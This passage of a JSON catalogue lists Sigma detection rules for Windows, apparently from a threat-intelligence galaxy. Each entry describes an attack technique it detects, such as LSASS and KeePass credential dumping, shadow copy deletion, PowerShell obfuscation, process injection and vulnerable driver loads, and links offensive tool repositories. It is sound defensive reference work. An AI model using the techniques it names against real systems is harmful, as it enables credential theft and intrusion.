"2020/10/08", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759", "value": "Invoke-Obfuscation Via Use MSHTA - PowerShell" }, { "description": "Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/05", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_ace_tampering.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/HarmJ0y/DAMP", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ace_tampering.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation" ] }, "uuid": "2f77047c-e6e9-4c11-b088-a3de399524cd", "value": "Potential Persistence Via Security Descriptors - ScriptBlock" }, { "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", "meta": { "author": "frack113", "creation_date": "2021/08/19", "falsepositive": [ "Unknown" ], "filename": "posh_ps_wmi_persistence.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", "value": "Powershell WMI Persistence" }, { "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "Legitimate script" ], "filename": "posh_ps_upload.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" ], "tags": [ "attack.exfiltration", "attack.t1020" ] }, "related": [ { "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", "value": "Windows PowerShell Upload Web Request" }, { "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Unknown" ], "filename": "posh_ps_office_comobject_registerxll.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml" ], "tags": [ "attack.persistence", "attack.t1137.006" ] }, "related": [ { "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad", "value": "Code Executed Via Office Add-in XLL File" }, { "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_directory_enum.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52", "value": "Powershell Directory Enumeration" }, { "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", "meta": { "author": "frack113", "creation_date": "2021/12/13", "falsepositive": [ "Unknown" ], "filename": "posh_ps_get_childitem_bookmarks.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml" ], "tags": [ "attack.discovery", "attack.t1217" ] }, "related": [ { "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf", "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell" }, { "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/20", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42", "value": "Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script" }, { "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_clip.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "73e67340-0d25-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation CLIP+ Launcher - PowerShell" }, { "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", "meta": { "author": "Florian Roth", "creation_date": "2021/04/23", "falsepositive": [ "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" ], "filename": "posh_ps_susp_getprocess_lsass.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/PythonResponder/status/1385064506049630211", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb", "value": "PowerShell Get-Process LSASS in ScriptBlock" }, { "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", "meta": { "author": "frack113", "creation_date": "2022/01/09", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_iofilestream.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb", "value": "Suspicious IO.FileStream" }, { "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_stdin.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", "value": "Invoke-Obfuscation Via Stdin - Powershell" }, { "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", "creation_date": "2020/10/10", "falsepositive": [ "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" ], "filename": "posh_ps_root_certificate_installed.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.004" ] }, "uuid": "42821614-9264-4761-acfc-5772c3286f76", "value": "Root Certificate Installed - PowerShell" }, { "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/14", "falsepositive": [ "Unknown" ], "filename": "posh_ps_cl_mutexverifiers_lolscript_count.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", "https://twitter.com/pabraeken/status/995111125447577600", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6609c444-9670-4eab-9636-fe4755a851ce", "value": "Execution via CL_Mutexverifiers.ps1 (2 Lines)" }, { "description": "Raw disk access using illegitimate tools, possible defence evasion", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Legitimate Administrator using tool for raw access or ongoing forensic investigation" ], "filename": "raw_access_thread_disk_access_using_illegitimate_tools.yml", "level": "low", "logsource.category": "raw_access_thread", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_disk_access_using_illegitimate_tools.yml" ], "tags": [ "attack.defense_evasion", "attack.t1006" ] }, "related": [ { "dest-uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", "value": "Raw Disk Access Using Illegitimate Tools" }, { "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", "meta": { "author": "Olaf Hartong, Florian Roth, Aleksey Potapov, oscd.community", "creation_date": "2018/11/30", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055.001" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", "value": "CobaltStrike Process Injection" }, { "description": "Detects the creation of a remote thread from a Powershell process to another process", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_powershell_code_injection.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_code_injection.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50", "value": "Accessing WinAPI in PowerShell. Code Injection" }, { "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", "meta": { "author": "Thomas Patzke", "creation_date": "2017/02/19", "falsepositive": [ "Antivirus products" ], "filename": "create_remote_thread_win_password_dumper_lsass.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml" ], "tags": [ "attack.credential_access", "attack.s0005", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", "value": "Password Dumper Remote Thread in LSASS" }, { "description": "Detects remote thread injection events based on action seen used by bumblebee", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_bumblebee.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218.011", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", "value": "Bumblebee Remote Thread Creation" }, { "description": "Detects remote thread creation by PowerShell processes into \"lsass.exe\"", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_winapi_in_powershell_credentials_dumping.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_winapi_in_powershell_credentials_dumping.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fb656378-f909-47c1-8747-278bf09f4f4f", "value": "Potential Credential Dumping Attempt Via PowerShell Remote Thread" }, { "description": "Detects a remote thread creation in suspicious target images", "meta": { "author": "Florian Roth", "creation_date": "2022/03/16", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_susp_targets.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055.003" ] }, "related": [ { "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", "value": "Remote Thread Creation in Suspicious Targets" }, { "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", "meta": { "author": "Timon Hackenjos", "creation_date": "2022/04/22", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_password_dumper_keepass.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/KeeThief", "https://github.com/denandz/KeeFarce", "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" ], "tags": [ "attack.credential_access", "attack.t1555.005" ] }, "related": [ { "dest-uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", "value": "KeePass Password Dumping" }, { "description": "Detects remote thread creation from CACTUSTORCH as described in references.", "meta": { "author": "@SBousseaden (detection), Thomas Patzke (rule)", "creation_date": "2019/02/01", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_cactustorch.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1090588499517079552", "https://github.com/mdsecactivebreach/CACTUSTORCH", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055.012", "attack.execution", "attack.t1059.005", "attack.t1059.007", "attack.t1218.005" ] }, "related": [ { "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", "value": "CACTUSTORCH Remote Thread Creation" }, { "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", "meta": { "author": "Perez Diego (@darkquassar), oscd.community", "creation_date": "2019/10/27", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_susp_remote_thread_source.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "Personal research, statistical analysis", "https://lolbas-project.github.io", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1055" ] }, "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", "value": "Suspicious Remote Thread Source" }, { "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", "meta": { "author": "Florian Roth", "creation_date": "2022/08/25", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_susp_remote_thread_target.yml", "level": "medium", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" ], "tags": "No established tags" }, "uuid": "f016c716-754a-467f-a39e-63c06f773987", "value": "Suspicious Remote Thread Target" }, { "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", "meta": { "author": "frack113", "creation_date": "2022/05/16", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_ttdinjec.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16", "value": "Remote Thread Creation Ttdinject.exe Proxy" }, { "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/11", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_loadlibrary.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055.001" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", "value": "CreateRemoteThread API and LoadLibrary" }, { "description": "Detects PowerShell remote thread creation in Rundll32.exe", "meta": { "author": "Florian Roth", "creation_date": "2018/06/25", "falsepositive": [ "Unknown" ], "filename": "create_remote_thread_win_susp_powershell_rundll32.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_powershell_rundll32.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218.011", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e", "value": "PowerShell Rundll32 Remote Thread Creation" }, { "description": "Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/16", "falsepositive": [ "Legitimate BIOS driver updates (should be rare)" ], "filename": "driver_load_win_mal_poortry_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_poortry_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543", "attack.t1068" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "91bc09e7-674d-4cf5-8d86-ed5d8bdb95a6", "value": "Usage Of Malicious POORTRY Signed Driver" }, { "description": "Detects a driver load from a temporary directory", "meta": { "author": "Florian Roth", "creation_date": "2017/02/12", "falsepositive": [ "There is a relevant set of false positives depending on applications in the environment" ], "filename": "driver_load_win_susp_temp_use.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_susp_temp_use.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "2c4523d5-d481-4ed0-8ec3-7fbf0cb41a75", "value": "Suspicious Driver Load from Temp" }, { "description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/28", "falsepositive": [ "Unknown" ], "filename": "driver_load_win_vuln_avast_anti_rootkit_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_avast_anti_rootkit_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "7c676970-af4f-43c8-80af-ec9b49952852", "value": "Vulnerable AVAST Anti Rootkit Driver Load" }, { "description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", "meta": { "author": "Florian Roth", "creation_date": "2022/07/25", "falsepositive": [ "Unknown" ], "filename": "driver_load_win_vuln_gigabyte_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", "https://github.com/fengjixuchui/gdrv-loader", "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", "https://twitter.com/malmoeb/status/1551449425842786306", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_gigabyte_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647", "value": "Vulnerable GIGABYTE Driver Load" }, { "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat 